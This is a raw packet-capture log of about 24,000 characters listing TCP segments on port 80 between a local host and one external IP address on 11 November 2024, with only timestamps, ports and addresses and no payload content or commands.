Nov 11, 2024 19:52:24.537908077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537920952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537940979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537950039 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537950039 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537950039 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537954092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537966967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537967920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537978888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537993908 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537997007 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538009882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538022041 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538032055 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538032055 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538033962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538045883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538057089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538069010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538077116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538077116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538084984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538207054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.538759947 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538959980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.538992882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.539160967 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540405989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540417910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540429115 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540450096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540462017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540462971 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540474892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540488005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540505886 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540514946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540595055 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540606976 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540625095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540628910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540642977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540656090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540657043 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540668011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540680885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540687084 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540687084 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540693998 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540708065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540719986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540739059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540766954 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540775061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540786982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540796995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540812016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540812016 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540822029 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540827990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540834904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540841103 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540852070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540864944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540875912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540875912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540875912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540879011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540890932 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540921926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540925026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540934086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540951967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540954113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540963888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540975094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540978909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.540988922 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.540999889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541004896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541012049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541034937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541035891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541042089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541055918 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541059017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541069984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541080952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541096926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541096926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541096926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541100979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541114092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541121006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541125059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541138887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541151047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541162014 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541182041 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541232109 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541239977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541251898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541269064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541280031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541290998 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541304111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541304111 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541304111 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541315079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541327000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541342020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541342974 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541342974 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541368008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541368961 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541379929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541390896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541399956 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541403055 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541414976 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541426897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541426897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541439056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541454077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541465998 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541477919 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541488886 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541490078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541490078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541502953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541511059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541515112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541524887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541537046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541548967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541559935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541559935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541560888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541579962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541580915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541580915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541591883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541604042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541615963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541627884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541640997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541647911 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541647911 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541647911 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541652918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541687965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541699886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541704893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541711092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541717052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541739941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541893959 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.541918993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541930914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541941881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541954994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541966915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.541980982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542001963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542012930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542023897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542023897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542023897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542023897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542026043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542037964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542048931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542049885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542061090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542079926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542093039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542094946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542094946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542104959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542118073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542129993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542130947 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542130947 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542143106 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542145014 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542145014 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542156935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542169094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542172909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542181015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542192936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542206049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542206049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542218924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542222023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542236090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542247057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542259932 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542270899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542273045 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542273998 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542273998 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542283058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542295933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542303085 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542310953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542330980 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542331934 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542372942 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542385101 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542396069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542406082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542414904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542418957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542424917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542429924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542463064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542463064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542483091 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542511940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542524099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542534113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542545080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542557001 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542570114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542582989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542583942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542583942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542594910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542608023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542620897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542634010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542634964 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542634964 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542654037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542665005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542675018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542686939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542699099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542711973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542721033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542721033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542721033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542721033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542728901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542737007 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542741060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542752981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542764902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542773008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542773008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542778015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542792082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542798042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542809963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542821884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542829990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542829990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542834044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542845011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542869091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542872906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542881966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542893887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542907000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542911053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542911053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542917967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542931080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542942047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542953968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542965889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.542973042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542973042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542973042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.542994022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543005943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543008089 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543019056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543030977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543042898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543051958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543051958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543051958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543061972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543075085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543078899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543078899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543087959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543100119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543109894 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543109894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543109894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543109894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543122053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543132067 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543132067 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543134928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543174028 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543196917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543207884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543219090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543231964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543243885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543246984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543246984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543256044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543275118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543275118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543330908 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543344021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543354988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543366909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543370962 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543370962 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543379068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543390989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543405056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543416977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543427944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543437958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543437958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543437958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543447018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543462038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543467045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543472052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543481112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543481112 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543493032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543498993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543510914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543523073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543535948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543544054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543544054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.543548107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543560982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.543575048 CET	80	49755	185.215.113.206	192.168.2.5
